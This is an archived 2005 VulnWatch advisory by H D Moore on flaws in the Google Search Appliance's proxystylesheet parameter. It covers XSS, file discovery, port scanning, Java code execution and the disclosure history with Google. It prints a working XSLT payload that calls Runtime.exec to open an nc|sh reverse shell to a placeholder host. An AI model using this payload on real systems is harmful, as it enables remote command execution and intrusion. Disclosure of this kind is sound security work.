[VulnWatch] Google Search Appliance proxystylesheet Flaws

From: H D Moore (vulnwatch@private)
Date: Mon Nov 21 2005 - 10:05:44 PST


This document can be found online at:
 - http://metasploit.com/research/vulns/google_proxystylesheet/

Title:
Google Search Appliance proxystylesheet Flaws

Release Date:
November 21, 2005

Patch Date:
August 16, 2005

Reported Date:
June 10, 2005

Vendor:
Google

Systems Affected:
Google Mini Search Appliance (confirmed)
Google Search Appliance (possible)

Summary:
The Google Search Appliance allows customization of the search interface 
through XSLT style sheets. Certain versions of the appliance allow a 
remote URL to be supplied as the path to the XSLT style sheet. This 
feature can be abused to perform cross-site scripting (XSS), file 
discovery, service enumeration, and arbitrary command execution.

Vendor Status:
Google has released a patch and advisory (GA-2005-08-m, to clients only).

Exploit Availability:
A Metasploit Framework module has been developed for the XSLT Java Code 
Execution flaw: google_proxystylesheet_exec.
No code is required to exploit the other flaws.

Researcher(s):
H D Moore (hdm[at]metasploit.com)

Vulnerability Details:
The Google Search Appliance search interface uses the 'proxystylesheet' 
form variable to determine what style sheet to apply to the search 
results. This variable can be a local file name or a HTTP URL.

Error Message XSS
A cross-site scripting flaw can be exploited by providing a snippet of 
malicious Javascript code for the proxystylesheet variable. The appliance 
will look for a local file by that name and then display an error message 
containing the Javascript code.

File Existence Verification
It is possible to determine the existence of any file on the system by 
using a relative path from the style sheet directory. The error message 
returned from the server will disclose whether or not a valid path was 
provided. This can be used to fingerprint the base operating system and 
kernel version.

Service Discovery
A rudimentary port scan can be performed by requesting HTTP URLs that 
point to a target system and individual ports on that system. The error 
message returned from the server will differ between open and closed 
ports. The appliance will ignore requests to connect back to itself, but 
no other restrictions apply.

XSLT Style Sheet XSS
A cross-site scripting flaw can be exploited by creating a malicious XSLT 
style sheet and specifying the URL to this style sheet in the 
proxystylesheet parameter. The appliance will download the style sheet 
and present the malicious Javascript to the user who executed the search.

XSLT Java Code Execution
It is possible to execute arbitrary Java class methods on the appliance by 
creating a malicious XSLT style sheet. System commands can be executed as 
an unprivileged user, which combined with the vulnerable kernel version, 
can lead to a remote root shell. The appliance uses the Saxon XSLT 
parser, which allows the following snippet to work:

<!-- Google Mini XSLT Code Execution [metasploit] -->

<xsl:template 
	name="my_page_footer"
	xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System"
	xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime"
>
XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> 
<br />
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> 
<br />
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> 
<br />
OS: <xsl:value-of select="sys:getProperty('os.name')" />
<br />
Version: <xsl:value-of select="sys:getProperty('os.version')" />
<br />
Arch: <xsl:value-of select="sys:getProperty('os.arch')" />
<br />
UserName: <xsl:value-of select="sys:getProperty('user.name')" />
<br />
UserHome: <xsl:value-of select="sys:getProperty('user.home')" />
<br />
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" />
<br />

Executing command...<br />
<xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc${IFS}
255.255.255.255${IFS}53|sh|nc${IFS}255.255.255.255${IFS}53')" />
  </span>
</xsl:template>

Notes:
The Google security team responded immediately to our report and were 
generally very helpful throughout the disclosure process. After a fix was 
developed, they offered to send us a Mini to verify that all issues had 
been addressed. Prior to shipping the appliance, they asked for an NDA 
and a license agreement to be signed and sent back. The NDA and license 
agreement both included clauses that restricted reverse engineering and 
other facets of security research. The NDA prohibited the publication of 
any information deemed confidential by Google without a prior written 
agreement. For any use other than security research, these conditions 
would not be an issue, however as they were written, any vulnerabilities 
discovered after the documents were signed could be considered 
confidential and restricted. We declined to sign the documents and Google 
placed a demo unit online for verification instead.

Humor:
This was found on Google Answers by Jericho: "No. The Google Search 
Appliance does not create security issues. All Google Search Appliance 
services are behind an internal firewall, protecting it from security 
intrusions. In addition, the Google Search Appliance has been thoroughly 
tested to guard against security risks. " ;-) 

References:
http://osvdb.org/20977
http://osvdb.org/20978
http://osvdb.org/20979
http://osvdb.org/20980
http://osvdb.org/20981
http://www.google.com/support/gsa/bin/answer.py?answer=15857
http://www.osvdb.org/blog/



This archive was generated by hypermail 2.1.3 : Mon Nov 21 2005 - 15:51:03 PST